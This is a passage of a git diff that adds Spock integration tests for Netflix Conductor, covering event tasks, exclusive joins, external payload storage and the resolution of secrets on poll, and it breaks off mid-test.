1) } catch (ignored) {} + try { metadataService.unregisterTaskDef(TASK_NAME) } catch (ignored) {} + workflowTestUtil.clearWorkflows() + } + + def "secret stays literal in stored input but resolves on poll; env resolves eagerly"() { + when: "the workflow is started" + def wfId = startWorkflow(WORKFLOW_NAME, 1, 'env-backed-secrets-test', [:], null) + + then: "the persisted scheduled task keeps the literal secret but has the env resolved" + def scheduled = null + conditions.eventually { + scheduled = workflowExecutionService.getExecutionStatus(wfId, true) + .tasks.find { it.status == Task.Status.SCHEDULED } + assert scheduled != null + } + def taskModel = executionDAOFacade.getTaskModel(scheduled.taskId) + taskModel.inputData.pwd == '${workflow.secrets.DB_PASSWORD}' + taskModel.inputData.region == 'us-east-1' + + when: "a worker polls the task" + def polled = workflowExecutionService.poll(TASK_NAME, 'test-worker') + + then: "the polled task has the secret resolved" + polled != null + polled.inputData.pwd == 's3cr3t' + polled.inputData.region == 'us-east-1' + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/EventTaskSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/EventTaskSpec.groovy new file mode 100644 index 0000000..60d6d52 --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/EventTaskSpec.groovy @@ -0,0 +1,132 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskResult +import com.netflix.conductor.common.metadata.tasks.TaskType +import com.netflix.conductor.common.metadata.workflow.WorkflowDef +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.core.execution.tasks.Event +import com.netflix.conductor.dao.QueueDAO +import com.netflix.conductor.test.base.AbstractSpecification + +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedTask + +class EventTaskSpec extends AbstractSpecification { + + def EVENT_BASED_WORKFLOW = 'test_event_workflow' + + @Autowired + Event eventTask + + @Autowired + QueueDAO queueDAO + + def setup() { + workflowTestUtil.registerWorkflows('event_workflow_integration_test.json') + } + + def "Verify that a event based simple workflow is executed"() { + when: "Start a event based workflow" + def workflowInstanceId = startWorkflow(EVENT_BASED_WORKFLOW, 1, + '', [:], null) + + then: "Retrieve the workflow" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == TaskType.EVENT.name() + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData['event_produced'] + tasks[1].taskType == 'integration_task_1' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "The integration_task_1 is polled and completed" + def polledAndCompletedTry1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker') + + then: "verify that the task was polled and completed and the workflow is in a complete state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTry1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[1].taskType == 'integration_task_1' + tasks[1].status == Task.Status.COMPLETED + } + } + + def "Test a workflow with event task that is asyncComplete "() { + setup: "Register a workflow definition with event task as asyncComplete" + def persistedWorkflowDefinition = metadataService.getWorkflowDef(EVENT_BASED_WORKFLOW, 1) + def modifiedWorkflowDefinition = new WorkflowDef() + modifiedWorkflowDefinition.name = persistedWorkflowDefinition.name + modifiedWorkflowDefinition.version = persistedWorkflowDefinition.version + modifiedWorkflowDefinition.tasks = persistedWorkflowDefinition.tasks + modifiedWorkflowDefinition.inputParameters = persistedWorkflowDefinition.inputParameters + modifiedWorkflowDefinition.outputParameters = persistedWorkflowDefinition.outputParameters + modifiedWorkflowDefinition.ownerEmail = persistedWorkflowDefinition.ownerEmail + modifiedWorkflowDefinition.tasks[0].asyncComplete = true + metadataService.updateWorkflowDef([modifiedWorkflowDefinition]) + + when: "The event task workflow is started" + def workflowInstanceId = startWorkflow(EVENT_BASED_WORKFLOW, 1, + '', [:], null) + + then: "Retrieve the workflow" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == TaskType.EVENT.name() + tasks[0].status == Task.Status.IN_PROGRESS + tasks[0].outputData['event_produced'] + } + + when: "The event task is updated async using the API" + Task task = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName('wait0') + TaskResult taskResult = new TaskResult(task) + taskResult.setStatus(TaskResult.Status.COMPLETED) + workflowExecutor.updateTask(taskResult) + + then: "Ensure that event task is COMPLETED and workflow has progressed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == TaskType.EVENT.name() + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData['event_produced'] + tasks[1].taskType == 'integration_task_1' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "The integration_task_1 is polled and completed" + def polledAndCompletedTry1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker') + + then: "verify that the task was polled and completed and the workflow is in a complete state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTry1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == TaskType.EVENT.name() + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData['event_produced'] + tasks[1].taskType == 'integration_task_1' + tasks[1].status == Task.Status.COMPLETED + } + + cleanup: "Ensure that the changes to the workflow def are reverted" + metadataService.updateWorkflowDef([persistedWorkflowDefinition]) + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/ExclusiveJoinSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/ExclusiveJoinSpec.groovy new file mode 100644 index 0000000..faa8051 --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/ExclusiveJoinSpec.groovy @@ -0,0 +1,361 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskResult +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.test.base.AbstractSpecification + +import spock.lang.Shared + +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedTask + +class ExclusiveJoinSpec extends AbstractSpecification { + + @Shared + def EXCLUSIVE_JOIN_WF = "ExclusiveJoinTestWorkflow" + + def setup() { + workflowTestUtil.registerWorkflows('exclusive_join_integration_test.json') + } + + def setTaskResult(String workflowInstanceId, String taskId, TaskResult.Status status, + Map output) { + TaskResult taskResult = new TaskResult(); + taskResult.setTaskId(taskId) + taskResult.setWorkflowInstanceId(workflowInstanceId) + taskResult.setStatus(status) + taskResult.setOutputData(output) + return taskResult + } + + def "Test that the default decision is run"() { + given: "The input parameter required to make decision_1 is null to ensure that the default decision is run" + def input = ["decision_1": "null"] + + when: "An exclusive join workflow is started with then workflow input" + def workflowInstanceId = startWorkflow(EXCLUSIVE_JOIN_WF, 1, 'exclusive_join_workflow', + input, null) + + then: "verify that the workflow is in running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_1' is polled and completed" + def polledAndCompletedTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1' + + '.integration.worker', ["taskReferenceName": "task1"]) + + then: "verify that the task is completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask1Try1) + + and: "verify that the 'integration_task_1' is COMPLETED and the workflow has COMPLETED" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 3 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'DECISION' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'EXCLUSIVE_JOIN' + tasks[2].status == Task.Status.COMPLETED + tasks[2].outputData['taskReferenceName'] == 'task1' + } + } + + def "Test when the one decision is true and the other is decision null"() { + given: "The input parameter required to make decision_1 true and decision_2 null" + def input = ["decision_1": "true", "decision_2": "null"] + + when: "An exclusive join workflow is started with then workflow input" + def workflowInstanceId = startWorkflow(EXCLUSIVE_JOIN_WF, 1, 'exclusive_join_workflow', + input, null) + + then: "verify that the workflow is in running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_1' is polled and completed" + def polledAndCompletedTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1' + + '.integration.worker', ["taskReferenceName": "task1"]) + + then: "verify that the task is completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask1Try1) + + and: "verify that the 'integration_task_1' is COMPLETED and the workflow has progressed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[1].taskType == 'DECISION' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_2' is polled and completed" + def polledAndCompletedTask2Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2' + + '.integration.worker', ["taskReferenceName": "task2"]) + + then: "verify that the task is completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask2Try1) + + and: "verify that the 'integration_task_2' is COMPLETED and the workflow has COMPLETED" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 5 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'DECISION' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'DECISION' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'EXCLUSIVE_JOIN' + tasks[4].status == Task.Status.COMPLETED + tasks[4].outputData['taskReferenceName'] == 'task2' + } + } + + def "Test when both the decisions, decision_1 and decision_2 are true"() { + given: "The input parameters to ensure that both the decisions are true" + def input = ["decision_1": "true", "decision_2": "true"] + + when: "An exclusive join workflow is started with then workflow input" + def workflowInstanceId = startWorkflow(EXCLUSIVE_JOIN_WF, 1, 'exclusive_join_workflow', + input, null) + + then: "verify that the workflow is in running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_1' is polled and completed" + def polledAndCompletedTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1' + + '.integration.worker', ["taskReferenceName": "task1"]) + + then: "verify that the task is completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask1Try1) + + and: "verify that the 'integration_task_1' is COMPLETED and the workflow has COMPLETED" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[1].taskType == 'DECISION' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_2' is polled and completed" + def polledAndCompletedTask2Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2' + + '.integration.worker', ["taskReferenceName": "task2"]) + + then: "verify that the task is completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask2Try1) + + and: "verify that the 'integration_task_2' is COMPLETED and the workflow has progressed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'DECISION' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'DECISION' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_3' + tasks[4].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_3' is polled and completed" + def polledAndCompletedTask3Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_3', 'task3' + + '.integration.worker', ["taskReferenceName": "task3"]) + + then: "verify that the task is completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask3Try1) + + and: "verify that the 'integration_task_3' is COMPLETED and the workflow has COMPLETED" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 6 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'DECISION' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'DECISION' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_3' + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'EXCLUSIVE_JOIN' + tasks[5].status == Task.Status.COMPLETED + tasks[5].outputData['taskReferenceName'] == 'task3' + } + } + + def "Test when decision_1 is false and decision_3 is default"() { + given: "The input parameter required to make decision_1 false and decision_3 default" + def input = ["decision_1": "false", "decision_3": "null"] + + when: "An exclusive join workflow is started with then workflow input" + def workflowInstanceId = startWorkflow(EXCLUSIVE_JOIN_WF, 1, 'exclusive_join_workflow', + input, null) + + then: "verify that the workflow is in running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_1' is polled and completed" + def polledAndCompletedTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1' + + '.integration.worker', ["taskReferenceName": "task1"]) + + then: "verify that the task is completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask1Try1) + + and: "verify that the 'integration_task_1' is COMPLETED and the workflow has progressed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[1].taskType == 'DECISION' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_4' + tasks[2].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_4' is polled and completed" + def polledAndCompletedTask4Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_4', 'task4' + + '.integration.worker', ["taskReferenceName": "task4"]) + + then: "verify that the task is completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask4Try1) + + and: "verify that the 'integration_task_4' is COMPLETED and the workflow has COMPLETED" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 5 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'DECISION' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_4' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'DECISION' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'EXCLUSIVE_JOIN' + tasks[4].status == Task.Status.COMPLETED + tasks[4].outputData['taskReferenceName'] == 'task4' + } + } + + def "Test when decision_1 is false and decision_3 is true"() { + given: "The input parameter required to make decision_1 false and decision_3 true" + def input = ["decision_1": "false", "decision_3": "true"] + + when: "An exclusive join workflow is started with then workflow input" + def workflowInstanceId = startWorkflow(EXCLUSIVE_JOIN_WF, 1, 'exclusive_join_workflow', + input, null) + + then: "verify that the workflow is in running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_1' is polled and completed" + def polledAndCompletedTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1' + + '.integration.worker', ["taskReferenceName": "task1"]) + + then: "verify that the task is completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask1Try1) + + and: "verify that the 'integration_task_1' is COMPLETED and the workflow has progressed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[1].taskType == 'DECISION' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_4' + tasks[2].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_4' is polled and completed" + def polledAndCompletedTask4Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_4', 'task4' + + '.integration.worker', ["taskReferenceName": "task4"]) + + then: "verify that the task is completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask4Try1) + + and: "verify that the 'integration_task_4' is COMPLETED and the workflow has progressed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'DECISION' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_4' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'DECISION' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_5' + tasks[4].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_5' is polled and completed" + def polledAndCompletedTask5Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_5', 'task5' + + '.integration.worker', ["taskReferenceName": "task5"]) + + then: "verify that the task is completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask5Try1) + + and: "verify that the 'integration_task_4' is COMPLETED and the workflow has progressed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 6 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'DECISION' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_4' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'DECISION' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_5' + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'EXCLUSIVE_JOIN' + tasks[5].status == Task.Status.COMPLETED + tasks[5].outputData['taskReferenceName'] == 'task5' + } + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/ExternalPayloadStorageSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/ExternalPayloadStorageSpec.groovy new file mode 100644 index 0000000..d65781e --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/ExternalPayloadStorageSpec.groovy @@ -0,0 +1,977 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.common.metadata.tasks.TaskType +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.core.execution.tasks.Join +import com.netflix.conductor.core.execution.tasks.SubWorkflow +import com.netflix.conductor.test.base.AbstractSpecification +import com.netflix.conductor.test.utils.MockExternalPayloadStorage +import com.netflix.conductor.test.utils.UserTask + +import spock.lang.Shared + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SUB_WORKFLOW +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPayload +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedLargePayloadTask +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedTask + +class ExternalPayloadStorageSpec extends AbstractSpecification { + + @Shared + def LINEAR_WORKFLOW_T1_T2 = 'integration_test_wf' + + @Shared + def CONDITIONAL_SYSTEM_TASK_WORKFLOW = 'ConditionalSystemWorkflow' + + @Shared + def FORK_JOIN_WF = 'FanInOutTest' + + @Shared + def DYNAMIC_FORK_JOIN_WF = "DynamicFanInOutTest" + + @Shared + def WORKFLOW_WITH_INLINE_SUB_WF = 'WorkflowWithInlineSubWorkflow' + + @Shared + def WORKFLOW_WITH_DECISION_AND_TERMINATE = 'ConditionalTerminateWorkflow' + + @Shared + def WORKFLOW_WITH_SYNCHRONOUS_SYSTEM_TASK = 'workflow_with_synchronous_system_task' + + @Autowired + UserTask userTask + + @Autowired + SubWorkflow subWorkflowTask + + @Autowired + Join joinTask + + @Autowired + MockExternalPayloadStorage mockExternalPayloadStorage + + def setup() { + workflowTestUtil.registerWorkflows('simple_workflow_1_integration_test.json', + 'conditional_system_task_workflow_integration_test.json', + 'fork_join_integration_test.json', + 'simple_workflow_with_sub_workflow_inline_def_integration_test.json', + 'decision_and_terminate_integration_test.json', + 'workflow_with_synchronous_system_task.json', + 'dynamic_fork_join_integration_test.json' + ) + } + + def "Test simple workflow using external payload storage"() { + + given: "An existing simple workflow definition" + metadataService.getWorkflowDef(LINEAR_WORKFLOW_T1_T2, 1) + + and: "input required to start large payload workflow" + def correlationId = 'wf_external_storage' + String workflowInputPath = uploadInitialWorkflowInput() + + when: "the workflow is started" + def workflowInstanceId = startWorkflow(LINEAR_WORKFLOW_T1_T2, 1, correlationId, null, workflowInputPath) + + then: "verify that the workflow is in a RUNNING state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the 'integration_task_1' with external payload storage" + String taskOutputPath = uploadLargeTaskOutput() + def pollAndCompleteLargePayloadTask = workflowTestUtil.pollAndCompleteLargePayloadTask('integration_task_1', 'task1.integration.worker', taskOutputPath) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedLargePayloadTask(pollAndCompleteLargePayloadTask) + + and: "verify that the 'integration_task1' is complete and the next task is scheduled" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData.isEmpty() + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "poll and complete the 'integration_task_2' with external payload storage" + pollAndCompleteLargePayloadTask = workflowTestUtil.pollAndCompleteLargePayloadTask("integration_task_2", "task2.integration.worker", "") + + then: "verify that the 'integration_task_2' was polled and acknowledged" + verifyPolledAndAcknowledgedLargePayloadTask(pollAndCompleteLargePayloadTask) + + then: "verify that the 'integration_task_2' is complete and the workflow is completed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + output.isEmpty() + + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData.isEmpty() + + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + + } + } + + def "Test workflow with synchronous system task using external payload storage"() { + given: "An existing workflow definition with sync system task followed by a simple task" + metadataService.getWorkflowDef(WORKFLOW_WITH_SYNCHRONOUS_SYSTEM_TASK, 1) + + and: "input required to start large payload workflow" + def correlationId = 'wf_external_storage' + String workflowInputPath = uploadInitialWorkflowInput() + + when: "the workflow is started" + def workflowInstanceId = startWorkflow(WORKFLOW_WITH_SYNCHRONOUS_SYSTEM_TASK, 1, correlationId, null, workflowInputPath) + + then: "verify that the workflow is in a RUNNING state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the 'integration_task_1' with external payload storage" + String taskOutputPath = uploadLargeTaskOutput() + def pollAndCompleteLargePayloadTask = workflowTestUtil.pollAndCompleteLargePayloadTask('integration_task_1', 'task1.integration.worker', taskOutputPath) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedLargePayloadTask(pollAndCompleteLargePayloadTask) + + and: "verify that the 'integration_task1' is complete and the next task is scheduled" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData.isEmpty() + + tasks[1].taskType == 'JSON_JQ_TRANSFORM' + tasks[1].status == Task.Status.COMPLETED + + tasks[1].outputData['result'] == 104 // output of .tp2.TEST_SAMPLE | length expression from output.json. On assertion failure, check workflow definition and output.json + } + } + + def "Test conditional workflow with system task using external payload storage"() { + + given: "An existing workflow definition" + metadataService.getWorkflowDef(CONDITIONAL_SYSTEM_TASK_WORKFLOW, 1) + + and: "input required to start large payload workflow" + String workflowInputPath = uploadInitialWorkflowInput() + def correlationId = "conditional_system_external_storage" + + when: "the workflow is started" + def workflowInstanceId = startWorkflow(CONDITIONAL_SYSTEM_TASK_WORKFLOW, 1, correlationId, null, workflowInputPath) + + then: "verify that the workflow is in a RUNNING state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the 'integration_task_1' with external payload storage" + String taskOutputPath = uploadLargeTaskOutput() + def pollAndCompleteLargePayloadTask = workflowTestUtil.pollAndCompleteLargePayloadTask('integration_task_1', 'task1.integration.worker', taskOutputPath) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedLargePayloadTask(pollAndCompleteLargePayloadTask) + + and: "verify that the 'integration_task1' is complete and the next task is scheduled" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData.isEmpty() + + tasks[1].taskType == "DECISION" + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == "USER_TASK" + tasks[2].status == Task.Status.SCHEDULED + tasks[2].inputData.isEmpty() + + } + + when: "the system task 'USER_TASK' is started by issuing a system task call" + def workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + def taskId = workflow.getTaskByRefName('user_task').taskId + asyncSystemTaskExecutor.execute(userTask, taskId) + + then: "verify that the user task is in a COMPLETED state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData.isEmpty() + + tasks[1].taskType == "DECISION" + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == "USER_TASK" + tasks[2].status == Task.Status.COMPLETED + tasks[2].inputData.isEmpty() + + tasks[2].outputData.get("size") == 104 + tasks[3].taskType == 'integration_task_3' + tasks[3].status == Task.Status.SCHEDULED + } + + when: "poll and complete and 'integration_task_3'" + def pollAndCompleteTask3 = workflowTestUtil.pollAndCompleteTask('integration_task_3', 'task3.integration.worker', + ['op': 'success_task3']) + + then: "verify that the 'integration_task_3' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask3) + + then: "verify that the 'integration_task_3' is complete and the workflow is completed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 4 + output.isEmpty() + + tasks[0].taskType == 'integration_task_1' + tasks[0].status == 